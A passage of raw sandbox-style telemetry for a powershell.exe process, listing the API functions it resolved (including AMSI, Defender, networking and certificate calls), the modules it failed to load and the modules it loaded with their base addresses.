DeleteFileW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter LsaClose (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter LsaFreeMemory (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter LsaOpenPolicy (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter LsaLookupSids (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WSAEnumNetworkEvents (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter bind (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfo (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfoW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutput (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutputW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutput (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutputW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SHGetFileInfo (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SHGetFileInfoW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreatePipe (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreatePipeW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateProcess (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetFileAttributes (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SetFileAttributesW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter OpenEventLog (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter OpenEventLogW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CloseEventLog (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetNumberOfEventLogRecords (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetNumberOfEventLogRecordsW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetOldestEventLogRecord (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetOldestEventLogRecordW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ReadEventLog (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ReadEventLogW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CLSIDFromProgID (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SxsLookupClrGuid (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CoGetObjectContext (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter SysFreeString (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter VariantClear (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00006920) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00006920)37:Teee,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135]38:T22f5,"powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff82c660000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff82c660000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff82c660000 "powershell.exe" loaded module "KERNEL32" at base 7ff82d000000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff80aa50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff829fb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ff82bf10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 7ff815d40000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff82d000000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ff828010000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff82d250000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff82f620000 "powershell.exe" loaded module "CSCAPI.DLL" at base 7ff81e540000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff82ca70000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff82d180000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff806f20000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ff82ee30000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff82b9b0000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff823b60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff806450000 "powershell.exe" loaded module "USER32.DLL" at base 7ff82cdd0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff82c660000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff80b130000 "powershell.exe" loaded module "NTDLL" at base 7ff82f620000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff82f2e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff804050000 "powershell.exe" loaded module "OLE32.DLL" at base 7ff82d550000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff82f2e0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff82ed60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff8033e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff802960000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff80a2f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff82ae10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff8008f0000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff82f2e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff82f2e0000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ff82d6a0000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff82cf60000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff82bc30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff82bc30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff82bc90000 "powershell.exe" loaded module "AMSI.DLL" at base 7ff81d6b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff823b60000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff81d690000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff82bc90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\F26WD64K.DLL" at base 7ff81d640000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff80a250000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffff9ad0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff80a0e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff800580000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff800410000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffff9220000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ff80b0d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff82c660000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff8002c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff80a9e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff8062b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff800180000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff81d5f0000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff822ea0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff82b870000 "powershell.exe" loaded module "WLDP.DLL" at base 7ff82aa60000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff8000a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff82d000000 "powershell.exe" loaded module "USERENV.DLL" at base 7ff82b8a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff82d180000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff82f2e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffff8fe0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff81b050000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffff82d0000 "powershell.exe" loaded module "OLEAUT32" at base 7ff82ed60000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ff82af90000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff82b4d0000 "powershell.exe" loaded module "RASAPI32.DLL" at base 7ff81ff70000 "powershell.exe" loaded module "RASMAN.DLL" at base 7ff81fe60000 "powershell.exe" loaded module "WS2_32.DLL" at base 7ff82d420000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff82b200000 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ff8281d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ff80d7e0000 "powershell.exe" loaded module 